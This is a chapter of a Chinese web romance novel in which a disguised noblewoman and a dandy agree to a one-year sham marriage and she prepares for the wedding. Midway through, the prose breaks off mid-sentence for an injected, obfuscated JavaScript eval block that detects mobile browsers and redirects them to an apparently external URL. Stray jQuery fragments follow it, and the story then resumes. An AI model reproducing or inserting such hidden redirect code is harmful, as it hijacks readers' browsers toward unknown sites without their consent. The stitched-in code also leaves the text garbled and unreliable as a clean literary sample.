15. 第 15 章

作品:《替嫁纨绔后成了他的白月光

    15


    江萼对她不免另眼相看,心想,俞叔的小道消息过了时了。但来都来了,索性听她要说什么,江萼拉过椅子,和她对面而坐。


    乐善懒得废话,开门见山:“贵府的三公子想要求娶我,是江公子你默许的吧?”


    江萼明知故问:“小姐叫我来,原来是为这一件事情问罪来了。”


    乐善说:“原来江公子也知道心虚?”


    江萼吊儿郎当地说:“我有什么好心虚的?诗经里也说:窈窕淑女,君子好逑。三哥他是想娶,但愿意不愿意,全凭小姐的心意。”


    这人说话倒是漂亮坦荡,但乐善并不轻信,因为就算他没有暗中作梗,也一定顺水推舟了。不然,三公子不会这样一无忌惮。


    乐善摇头,说:“但我不愿意。”


    “看来有人是弄巧成拙了。”江萼没有替人惋惜的闲心,哪怕那是他的堂兄。


    “你就不好奇我为什么拒绝他吗?”


    既然她要求了,江萼从善如流地问:“为什么?”


    “自然是因为和他门不当户不对。”


    “小姐居然这么势利眼?”江萼蹙眉,故意大惊小怪地问。


    乐善当然绝不错过调侃他的机会,含蓄一笑:


    “自然比不得江公子豪掷百金的潇洒。”


    江萼也笑了:“所以才给你了可乘之机,拿幅摹作诓我。”


    乐善听了,好像真的很纳闷似的,不免要说:“我想公子也是懂画之人,应该知道目前吴道子并无真迹流传于世,因此就是名家摹写之作,那也千金难求,我好心请公子前来赏画,公子怎么无端冤我呢?”


    江萼早推翻了对她的印象,对她的话半信半疑。


    乐善当他的面把那卷摹作在桌上摊开了来,邀请说:“江公子,请掌眼。”


    真不愧是《八十七神仙卷》,图上八十七位神仙衣袂飘飘,持幡旗、伞盖,抱贡品、乐器,浩浩荡荡上天朝拜。画是白描,线条错落有致,仿佛富有风动的效果,确实是最具典型的“吴带当风”之作。


    其实要不是纸张太新,江萼并不能一眼拿准这幅画不是真迹。只怕吴道子本人再世亲临,一时也会花了眼,不敢辨认。


    至于她言之凿凿名家摹作,江萼仍然存疑。他狐疑地看她一眼,是真有请教之意,问:“图上印章俱毁,怎么知道是哪位名家之作?”


    是她父亲的旧作,乐善心酸,掩饰一笑。


    薛翙多年前赠与爱徒周羣,以贺进官,今日被她拿来变作筹码,赌他一面。


    乐善献图,是下了大决心的——以防打草惊蛇,暴露行迹,图上她父亲的印红,她不得不含泪尽数毁去。


    因向他含糊其辞,说:“我眼力不佳,见识浅薄,因此才特地要请教江公子。”


    江萼显得漫不经心,说:“画看过了,小姐还有什么话,一并讲了吧。”


    乐善感慨一笑,说:“江公子这么不耐烦,看来是真的不愿意娶我啊。”


    江萼说:“我没打算不娶你。”


    没打算,不娶。


    乐善唇边笑意稍减,莫名恼怒,心想,到底是十分的不情愿,连话也不会说了。她就忍不住要说怪话了:“江公子真不懂体贴人,‘我愿意娶你’和‘我没打算不娶你’,听在旁人耳里完全是两样呀。”


    江萼无所谓:“结果不都一样吗?”


    乐善噎了一下,才说:“是啊,你不娶我,也有别人要娶,我不嫁你,也还得嫁旁人,横竖我们都没得再挑,我倒有一个好建议,不知江公子肯不肯赏脸听听?”


    “小姐请讲。”


    乐善利落说:“索性你我一拍即合,做一对假夫妻,你看如何?”


    这话太骇然了,不该出自她一个大家闺秀之口。但江萼看她一眼,突然觉得有点意思了,问:“怎么个说法?”


    “我们做假夫妻,约法三章。”


    “首先,婚后我绝不干涉你任何行为,知情识趣是我最大的诚意,你要纳妾也好,蓄伎也罢,我绝没有不答应的。”


    “其次,我名下的嫁妆,不论田产店铺,还是头面首饰,我与江公子平分。”


    江萼不动声色,好似兴趣缺缺,没打动到他。


    乐善深呼一口气,继续说:


    “以上,一年为期。”


    “一旦期满,你可以以‘七出无子’为由,强迁我到道观休养,之后最多半年,再对外宣告我不治病亡。”


    “小姐对自己这么狠心?”江萼这回是真惊诧了。


    乐善脸色淡淡的,陈述说:“我只想脱离这个身份而已。”


    真是有趣,堂堂世家小姐,居然有勇气跳脱家族之外,江萼不禁又要对她刮目相看了。他眼里带着笑意,问,“既然是约法,对我,想必小姐也有三个条件了。”


    乐善说那当然了。


    “第一,我要你心甘情愿的娶我,以最盛大的仪式迎亲,给全会稽的百姓都看见。”


    “第二,我要掌家,至少在明面上,天镜园内所有开支都要我过目,但你只管放心,我在此向你承诺,那些家财我绝不染指。”


    江萼听懂了,笑得像个狐狸一样暧昧:“一争面子,二挣底气,小姐真是机关算计,不可小觑啊。”


    他简直要拍手称奇,尊她为当世奇女子了。


    乐善就是这点好,管他是真讥讽,还是假敬佩,听进心里都当是赞许,只管微微一笑,很受用了。


    “那么第三条呢?”他接着问。


    “同样一年为期。”


    看他一时沉吟不语,仿佛在他是很为难的样子,乐善不由得眉头一拧,连声催促,说:“到时你亡妻,我金蝉脱壳,两全其美的事,江公子还在犹豫什么?”


    真是急性子啊,江萼就笑,忍不住要逗她:“我是怕你日久生情,不肯走了。”


    乐善立刻冷笑:“我还怕你心有回转,不放我走呢。”


    两人对视一眼,突然同时笑了出来。乐善心下有成算了,笑说:“看样子,江公子是肯答应我了。”


    “小姐有命,不敢不从啊。”他噙着笑,偏跟她贫嘴一句,一副轻薄的模样,果然不是什么正经人,她暗暗地想。


    ……


    乐善回到行馆,安心待嫁了。


    这桩婚事传到外面如何喧闹,她是不管的了,了却一桩难题,连日来看严妪也觉得她眼睛是眼睛,鼻子是鼻子,顺眼多了。


    只有红夫最焦心,说:“时间根本不多,他答应要给最盛大的仪式,怎么可能赶得及的嘛?别是他诓人的。”


    乐善反过来宽慰她,说:“他们纨绔子弟,读书是不行,别的个顶个的精通,何况繁华在他是信手拈来的,你不用操心,只管看好了。”


    到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788484|174462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了中秋那日,天未破晓,行馆里就喧哗渐起,虽说一应准备俱全,仍旧忙得像打仗一般。红夫这时就展现出了她贴身丫鬟的手腕,她只管叉着腰站在门前,时不时调拨人手,把大伙儿指挥得条条有理。


    乐善犹是睡眼惺忪,也被严妪强行从床上拉起,换过厚重的喜服,推到铜镜前端坐。


    开脸、梳髻,已是折腾了大半晌,然后又是敷粉、描眉,乐善困得直点头,险些把头上的花冠歪掉,惹得红夫大急,叫:“小姐!”


    乐善被她一叫,立刻又老实坐直了。


    其实不怪她困,是昨晚周羣偷溜进行馆,跟她讲了近日会稽城的大事。其中有件居然就跟她相关,乐善好奇,自然打破砂锅问到底。


    原来每到中秋,会稽城内家家都挂花灯,更有那豪门贵族之中盛行斗灯,谁家花灯会办得大,办得好,办得奢靡浪费,办得人人称道,谁就是这年的魁首。来年放灯,便由他来第一个点灯。


    因为这个心照不宣的彩头,引得许多纨绔子弟争相置办灯会,挥霍无度。


    红夫当时听了,也不免直摇头。


    乐善敏锐意识到一点,问:“江萼想必也办,难道会和我有关?”


    周羣说:“是啊,他放了话,说他今日这场花灯会是专为师妹你一人办的。”


    鬼话,乐善听听就算了。


    转念却想到,真不愧是他,本来中秋看灯的百姓就多,先有江杨两家联姻不睦的传言,现在又有他为未婚妻独办花灯的声势,就是浑不相干的庄稼汉也会心生好奇吧?只怕到时迎亲路上,百姓倾城而出要看热闹了。


    周羣说:“只要他办得还过得去,今年魁首非他莫属了。”


    就是,还说她好算计呢,他一样心机不少,乐善心想,分明是践行给她的承诺,他竟灵机一动,也从中占尽了便宜。


    幸而乐善并不反感,还说:“他最好是魁首,不然敢利用我造声势,看我饶不了他。”


    只可惜迎亲在酉时,到时乐善只能乖乖待在花轿里,做别人期望的新娘子。


    这场为她而办的花灯会,当事人是注定没法亲眼目睹了。


    “时辰快到了,赶紧些!”红夫盯守着每个环节,一边紧声催促着。


    忙了大半日,时间来到傍晚。


    乐善完全不知这半日是如何度过的,只感觉到后来简直头晕眼花,头重有如千钧,压得她不得不将背挺得笔直,只怕一整日下来,这个身子都不再是她自己的了。


    完全堪比十大酷刑啊,她忍不住要叫苦。


    紧赶慢赶,总算临上花轿了。


    出门前,满屋子的仆妇、丫鬟都望着她,无不夸赞新娘子漂亮,尽管乐善往铜镜里一照,根本认不出里面敷粉凃朱的女子是谁。


    真是她吗?


    乐善蓦地想到六姐薛慈,当年彼此的玩笑言犹在耳,现在她真到出嫁这日了,虽然明知她是假冒的,明知夫君也不会是肯给她牵马的人——明知眼前一切不是真的,但这一刻,她无比真切的希望爹娘、亲人要是都在身边就好了。


    红夫递来一把雕饰精美的缎扇,打断她的伤感,该怪这氛围触动,乐善拿扇遮面,极力掩饰了,才能不掉下泪来。


    她一步一步走到院中,在严妪的示意下,先朝弘农杨氏的祖望之地拜了三拜。此为辞亲。


    然后在簇拥恭维间,上了花轿。